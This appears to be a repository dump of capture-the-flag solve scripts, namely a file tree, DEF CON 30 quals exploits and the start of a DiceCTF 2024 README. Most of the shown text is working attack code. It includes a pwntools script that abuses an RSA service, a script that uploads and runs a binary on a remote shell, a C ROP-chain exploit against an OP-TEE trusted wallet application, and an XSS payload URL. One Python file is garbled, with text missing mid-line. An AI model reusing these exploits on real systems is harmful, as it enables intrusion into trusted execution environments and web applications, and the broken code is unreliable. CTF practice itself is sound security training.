├── defcon30-quals ├── crypto_chall │ ├── x.py │ └── x.sage └── teedium │ ├── Makefile │ ├── r.py │ ├── x.c │ └── x.py ├── dicectf24-quals ├── dicediceotter │ ├── README.md │ ├── index.html │ ├── main.rs │ └── sc.py └── floordrop │ ├── solve.py │ └── x.py ├── rwctf19-final ├── .gitkeep ├── FastStructureCache │ ├── FastStructureCache_2dbf4a3a826a007eb78fa6aa9c478ab6.tgz │ └── readme.txt ├── bank2 │ ├── bank2.py │ ├── bank2_65a02395c12aec6e2f2f8a041149a75f.zip │ └── readme.txt ├── lock2018 │ ├── lock2018_3df961bffa49bd0c93243ae8e73372a6.zip │ └── readme.txt ├── lock2019 │ └── readme.txt ├── marxjs │ ├── MarxJS_08f783d8c2b3e53eab53c21210188177.zip │ └── readme.txt ├── model_is_program_i │ ├── Dockerfile │ ├── app.py │ ├── build.sh │ ├── readflag.c │ ├── readme.txt │ └── x.py ├── montagy │ └── readme.txt ├── printer │ ├── printer_cab303eb34695411d6b545fa9089402e.zip │ └── readme.txt ├── router2 │ ├── hehe.c │ ├── kkk.c │ ├── mmm.py │ ├── openwrt_f0af8498f64862fce70f432b702daec5.bin │ ├── readme.txt │ ├── solution.txt │ └── x.py └── safari │ └── readme.txt ├── rwctf19-quals ├── across_the_great_wall.py ├── bank.py ├── caidanti1.c ├── caidanti1.py ├── caidanti2.c ├── dezhou_instrumentz.py ├── fax_sender.py ├── mop.php └── mop │ ├── Master_of_PHP.zip │ ├── mop.c │ ├── mop.php │ └── mop.py └── rwctf20-21 ├── dbaasadge.md ├── easy_defi.txt ├── easy_escape.c ├── easy_works.c ├── easy_works.py ├── game2048.py ├── homebrewed_curve.py └── personal_proxy.py /defcon30-quals/crypto_chall/x.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | p = remote('crypto-challenge-lpw5gjiu6sqxi.shellweplayaga.me', 31337) 4 | p.sendline('ticket{} ') 5 | 6 | def menu(choice): 7 | p.recvuntil('>') 8 | p.sendline(str(choice)) 9 | 10 | qq = 0x468f42db6a682b136aadcacf3b8be3 11 | pp = 0x20b14a31870069c5ff9a63b311d337 12 | ee = 0x10001 13 | nn = pp * qq 14 | msg = 0x25 15 | 16 | keynum = -1 17 | 18 | def create_key_mes(): 19 | global keynum 20 | 21 | menu(0) 22 | menu(0) 23 | keynum += 1 24 | return keynum 25 | 26 | def create_key_13(): 27 | global keynum 28 | 29 | menu(0) 30 | menu(1) 31 | keynum += 1 32 | return keynum 33 | 34 | def create_bytekey(): 35 | global keynum 36 | 37 | menu(0) 38 | menu(2) 39 | menu('0xf') 40 | keynum += 1 41 | return keynum 42 | 43 | def create_key_epq(): 44 | global keynum 45 | 46 | menu(0) 47 | menu(3) 48 | menu(hex(ee)) 49 | menu(hex(pp)) 50 | menu(hex(qq)) 51 | keynum += 1 52 | return keynum 53 | 54 | def create_key_edn(): 55 | global keynum 56 | 57 | menu(0) 58 | menu(3) 59 | menu(hex(ee)) 60 | menu(hex(dd)) 61 | menu(hex(nn)) 62 | keynum += 1 63 | return keynum 64 | 65 | def decrypt(keynum, yesno=False): 66 | menu(2) 67 | menu(keynum) 68 | menu(1) 69 | menu(hex(msg)) 70 | if yesno: 71 | menu('y') 72 | p.recvuntil('Your decrypted message is:\n\n') 73 | return p.recvuntil('\n\n', drop=True) 74 | 75 | def encrypt(keynum, yesno=False, enc_msg=b"dank memes"): 76 | menu(1) 77 | menu(keynum) 78 | menu(enc_msg) 79 | p.recvuntil('Your encrypted message is:\n\n') 80 | return p.recvuntil('\n\n', drop=True) 81 | 82 | create_key_epq() 83 | create_key_mes() 84 | 85 | def optimize(keynum): 86 | for _ in range(9): 87 | decrypt(keynum) 88 | return decrypt(keynum, True) 89 | 90 | leak = optimize(0) 91 | print('leak', leak.hex()) 92 | leak = int(leak.hex(), 16) 93 | 94 | ee = int(raw_input('E from sage:')) 95 | 96 | create_key_mes() 97 | create_key_epq() 98 | create_key_mes() 99 | for _ in range(9): 100 | decrypt(3) 101 | # decrypt multi msg 102 | menu(2) 103 | menu(3) 104 | menu(1) 105 | msg = '0x' + '0' * 14 + '2' + '0' * (0x60 - 21) 106 | msg = msg.ljust(0x5c) 107 | menu(msg) 108 | menu('y') 109 | flag = encrypt(4, enc_msg='0' * 0x40) 110 | flag = bytearray(bytes.fromhex(flag[2:].decode('utf-8'))) 111 | print(flag) 112 | for i in range(len(flag)): 113 | flag[i] ^= 0x30 114 | print(flag) 115 | # flag{dOnT_pUt_YoUr_lAmBdA_iN_a_LaMdA!!houchik3ohleet1ia7ohnoob7} 116 | 117 | p.interactive() 118 | -------------------------------------------------------------------------------- /defcon30-quals/crypto_chall/x.sage: -------------------------------------------------------------------------------- 1 | qq = 0x468f42db6a682b136aadcacf3b8be3 2 | pp = 0x20b14a31870069c5ff9a63b311d337 3 | ee = 0x10001 4 | 5 | def reverse(l): 6 | dq = discrete_log(Mod(l, qq), Mod(37, qq)) 7 | print(dq) 8 | dp = discrete_log(Mod(l, pp), Mod(37, pp)) 9 | print(dp) 10 | d = crt([dq, dp], [qq - 1, pp - 1]) 11 | print(d) 12 | assert pow(37, d, pp * qq) == l 13 | 14 | phi = (pp - 1) * (qq - 1) 15 | C = (0x4847464544434241 << 64) + 0x25a48 16 | assert (d * ee - 1) % (qq - 1) == 0 17 | for i in range(1, 0x10000): 18 | r = ((phi * i + d) * ee - 1) / (qq - 1) 19 | if i % 100 == 0: 20 | print(i, r) 21 | for dv in divisors(r): 22 | if int(dv >> 64) == 0x4847464544434241: 23 | return dv - C + 1 24 | 25 | def search(text_base): 26 | C = (0x4847464544434241 << 64) + 0x25a48 27 | x = C + text_base 28 | z = text_base + 0x25a70 29 | 30 | for i in range(0, 0x100000, 2): 31 | y = int((b'%010x' % i).hex(), 16) 32 | t = (x - 1) * (y - 1) // gcd(x - 1, y - 1) 33 | d, e, _ = xgcd(z, t) 34 | e = e % t 35 | if d == 1 and gcd(e, phi) == 1 and e < 2 ^ 256: 36 | print(hex(y), e, hex(z)) 37 | return e 38 | 39 | def pwn(l): 40 | base = reverse(l) 41 | print(hex(base)) 42 | search(base) 43 | -------------------------------------------------------------------------------- /defcon30-quals/teedium/Makefile: -------------------------------------------------------------------------------- 1 | all: x 2 | 3 | payload.h: x.py 4 | python3 x.py 5 | 6 | x: x.c payload.h Makefile 7 | arm-linux-gnueabi-gcc -Wl,-I/lib/ld-linux-armhf.so.3 -pie -Os -o x x.c libteec.so libc-2.31.so ld-linux-armhf.so.3 8 | arm-linux-gnueabi-strip x 9 | gzip -c x | xxd -p > xx 10 | -------------------------------------------------------------------------------- /defcon30-quals/teedium/r.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | # FLAG{BGET begat Bitcoin? Yes, in this case, it did.} 4 | 5 | context.log_level = 'DEBUG' 6 | r = remote('secure-world-wallet-66zjw7mi3dnnk.shellweplayaga.me', 31337) 7 | r.sendline(b'ticket{} ') 8 | r.recvuntil(b'$') 9 | r.sendline(b'cd /tmp/') 10 | r.recvuntil(b'$') 11 | 12 | with open('./xx') as f: 13 | for line in f.readlines(): 14 | r.sendline(('echo "%s" >> a' % line.strip()).encode('utf-8')) 15 | r.recvuntil(b'$') 16 | 17 | r.sendline('cat a | xxd -r -p | gunzip > x && chmod +x x') 18 | r.recvuntil(b'$') 19 | 20 | r.sendline(b'./x 0x15a000') 21 | 22 | r.interactive() 23 | -------------------------------------------------------------------------------- /defcon30-quals/teedium/x.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "tee_client_api.h" 6 | #include "payload.h" 7 | 8 | int exploit(uint32_t base) 9 | { 10 | TEEC_Result res; 11 | TEEC_Context ctx; 12 | TEEC_Session sess; 13 | TEEC_Operation op; 14 | TEEC_UUID uuid = { 0x7dc089d2, 0x883b, 0x4f7b, 15 | { 0x81, 0x54, 0xea, 0x1d, 0xb9, 0xf1, 0xe7, 0xc3} }; 16 | uint32_t err_origin; 17 | 18 | res = TEEC_InitializeContext(NULL, &ctx); 19 | if (res != TEEC_SUCCESS) 20 | errx(1, "TEEC_InitializeContext failed with code 0x%x", res); 21 | 22 | res = TEEC_OpenSession(&ctx, &sess, &uuid, TEEC_LOGIN_PUBLIC, NULL, NULL, &err_origin); 23 | if (res != TEEC_SUCCESS) { 24 | errx(1, "TEEC_Opensession failed with code 0x%x origin 0x%x", res, err_origin); 25 | } 26 | 27 | memset(&op, 0, sizeof(op)); 28 | op.paramTypes = TEEC_PARAM_TYPES(TEEC_VALUE_OUTPUT, TEEC_NONE, TEEC_NONE, TEEC_NONE); 29 | 30 | res = TEEC_InvokeCommand(&sess, 0, &op, &err_origin); 31 | if (res != TEEC_SUCCESS) { 32 | errx(1, "TEEC_InvokeCommand failed with code 0x%x origin 0x%x", res, err_origin); 33 | } 34 | uint32_t wallet_id = op.params[0].value.a; 35 | 36 | if (base == 0) { 37 | printf("elf base: "); 38 | scanf("%x", &base); 39 | } 40 | const uint32_t malloc_ctx = base + 0x2A408; 41 | const uint32_t param = 0x00202000; 42 | const uint32_t pop_r0_r1_r2_r4_r5_pc = base + 0x2577f; 43 | const uint32_t pop_r7_pc = base + 0x2775; 44 | const uint32_t tee_memmove = base + 0x46E1; 45 | const uint32_t flag_func = base + 0x8F24; 46 | uint32_t sp = 0x00115c80; 47 | uint32_t *chunk = (uint32_t *)memmem(&payload, sizeof(payload), "MAGIC", 5); 48 | uint32_t offset = (uintptr_t)chunk - (uintptr_t)&payload; 49 | chunk[0] = 0; 50 | chunk[1] = 0x10; 51 | chunk[2] = sp - 0xc; 52 | chunk[3] = param + 0x1008; 53 | 54 | chunk = (uint32_t *)&payload[0x1000]; 55 | memset(chunk, 0xee, 0x200); 56 | 57 | chunk[3] = pop_r0_r1_r2_r4_r5_pc; 58 | chunk[4] = 0x115000; 59 | chunk[5] = 0x400; 60 | chunk[9] = flag_func + 4; 61 | chunk[13] = pop_r0_r1_r2_r4_r5_pc; 62 | chunk[14] = 0x203060; // &chunk[22] 63 | chunk[15] = 0x115f24; 64 | chunk[16] = 0x4; 65 | chunk[19] = tee_memmove + 4; 66 | chunk[21] = pop_r0_r1_r2_r4_r5_pc; 67 | chunk[22] = 0xdeadbeef; // FIXME 68 | chunk[23] = 0x115000; 69 | chunk[24] = 0x400; 70 | chunk[27] = tee_memmove + 4; 71 | chunk[29] = pop_r0_r1_r2_r4_r5_pc; 72 | chunk[30] = 0; 73 | chunk[31] = 0; 74 | chunk[35] = pop_r7_pc; 75 | chunk[36] = 0x115ee0; 76 | chunk[37] = base + 0x27e1; 77 | 78 | uint8_t result[0x1000] = {0}; 79 | memset(&result, 'X', sizeof(result)); 80 | memset(&op, 0, sizeof(op)); 81 | op.paramTypes = TEEC_PARAM_TYPES(TEEC_VALUE_INPUT, TEEC_VALUE_INPUT, TEEC_MEMREF_TEMP_INPUT, TEEC_MEMREF_TEMP_OUTPUT); 82 | op.params[0].value.a = wallet_id; 83 | op.params[1].value.a = 0; 84 | op.params[2].tmpref.buffer = (void *)&payload; 85 | op.params[2].tmpref.size = sizeof(payload); 86 | op.params[3].tmpref.buffer = &result; 87 | op.params[3].tmpref.size = sizeof(result); 88 | 89 | res = TEEC_InvokeCommand(&sess, 3, &op, &err_origin); 90 | 91 | TEEC_CloseSession(&sess); 92 | 93 | TEEC_FinalizeContext(&ctx); 94 | 95 | int size = op.params[3].tmpref.size; 96 | if (res == 0xffff3024 || size == 0) { 97 | return -1; 98 | } 99 | printf("res %#x size %#x\n", res, size); 100 | write(1, &result[0], size); 101 | return 0; 102 | } 103 | 104 | int main(int argc, char *argv[]) 105 | { 106 | uint32_t base = argc > 1 ? strtoul(argv[1], NULL, 16) : 0; 107 | 108 | for (int i = 0; ; i++) { 109 | int res = 0; 110 | int pid = fork(); 111 | if (!pid) { 112 | exit(exploit(base)); 113 | } 114 | waitpid(pid, &res, 0); 115 | printf("%d %#x\n", i, res); 116 | if (res == 0) { 117 | break; 118 | } 119 | } 120 | } 121 | -------------------------------------------------------------------------------- /defcon30-quals/teedium/x.py: -------------------------------------------------------------------------------- 1 | import struct 2 | p32 = lambda _: struct.pack('H', l) 10 | assert 0 11 | 12 | def pack_varbytes(s): 13 | return pack_varint(len(s)) + s 14 | 15 | def pack_request(wallet_id, itemA, itemB): 16 | s = b'' 17 | s += p32(wallet_id) 18 | 19 | s += pack_varint(len(itemA)) 20 | for item in itemA: 21 | assert len(item[0]) == 0x20 22 | s += item[0] 23 | s += p32(item[1]) 24 | s += pack_varbytes(item[2]) 25 | s += p32(item[3]) 26 | 27 | s += pack_varint(len(itemB)) 28 | for item in itemB: 29 | s += p64(item[0]) 30 | s += pack_varbytes(item[1]) 31 | s += p32(0xdddddddd) 32 | return s 33 | 34 | make_chunk = lambda _: (b'J' * 0x20, 0xfff, b'j' * _, 0xeee) 35 | 36 | a0 = (b'A' * 0x20, 0x111, b'a' * 0x200, 0x111) 37 | b0 = (0xaaa, b'a' * 0x82) 38 | p1 = pack_request(0, [make_chunk(0x1a20 - 0x400), make_chunk(0x20)], [b0]) 39 | p1 += b'\x55' * 0x25ce 40 | p1 += b'MAGIC' 41 | p1 = p1.ljust(0x59f0, b'\x66') 42 | print(p1.hex()) 43 | 44 | with open('payload.h', 'w') as f: 45 | f.write('unsigned char payload[] = {%s};\n' % str(list(map(int, p1)))[1:-1]) 46 | -------------------------------------------------------------------------------- /dicectf24-quals/dicediceotter/README.md: -------------------------------------------------------------------------------- 1 | # dicediceotter 2 | 3 | 1. Reverse engineering the Solana program: The cheat code for the game is a 12-byte sequence starting with [1, 7, 7, 6], and the product of the 12 integers is 430,040,725,982,322. 4 | 2. Trigger the XSS bug by setting the innerHTML with a controlled `winner.name`. Use the following payload: https://ddg.mc.ax/?code=AQcHBg1lnbXFxwEB;